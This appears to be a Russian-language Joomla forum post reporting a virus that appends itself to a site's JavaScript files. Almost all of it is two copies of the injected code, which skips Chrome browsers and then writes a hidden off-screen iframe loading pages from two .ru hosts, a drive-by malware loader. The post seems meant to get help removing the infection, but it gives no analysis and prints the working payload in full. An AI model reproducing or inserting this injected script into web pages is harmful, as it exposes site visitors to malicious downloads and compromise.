Вирус на сайте дописывается в js-скрипты - Joomla 1.5: Общие вопросы

/*214afaae*/(function(){
function stripos (f_haystack, f_needle, f_offset) {
 var haystack = (f_haystack + '').toLowerCase();
 var needle = (f_needle + '').toLowerCase();
 var index = 0;
 if ((index = haystack.indexOf(needle, f_offset))!== -1) {
  return index;
 }
 return false;
}
function papirosa(){
 var denyList = ['Chrome'];
 var denyUA = false;
 for (var i in denyList) {
  if (stripos(navigator.userAgent, denyList)) {
   denyUA = true;
   break;
  }
 }
 return denyUA;
}
function setCookie(name, value, expires) {
 var date = new Date( new Date().getTime() + expires*1000 );
 document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
 var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" ));
 return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!papirosa()) {
 var cookie = getCookie('b19ad018sc');
 if (cookie == undefined) {
  setCookie('b19ad018sc', true, 292200);	
  document.write('<iframe height="117" style="position:absolute;left:-1000px;top:-1000px;" width="117" src="http://undeletesitessuch.ru/jcnvftd.iHDUhxK?default"></iframe>');
 }
};
})();/*eaa795220*/

/*214afaae*/(function(){
function stripos (f_haystack, f_needle, f_offset) {
 var haystack = (f_haystack + '').toLowerCase();
 var needle = (f_needle + '').toLowerCase();
 var index = 0;
 if ((index = haystack.indexOf(needle, f_offset))!== -1) {
  return index;
 }
 return false;
}
function papirosa(){
 var denyList = ['Chrome'];
 var denyUA = false;
 for (var i in denyList) {
  if (stripos(navigator.userAgent, denyList[i])) {
   denyUA = true;
   break;
  }
 }
 return denyUA;
}
function setCookie(name, value, expires) {
 var date = new Date( new Date().getTime() + expires*1000 );
 document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
 var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" ));
 return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!papirosa()) {
 var cookie = getCookie('b19ad018sc');
 if (cookie == undefined) {
  setCookie('b19ad018sc', true, 292200);	
  document.write('<iframe height="117" style="position:absolute;left:-1000px;top:-1000px;" width="117" src="http://hugesnapfish.ru/hgfutre6y.dyFZzaX?default"></iframe>');
 }
};
})();/*eaa795220*/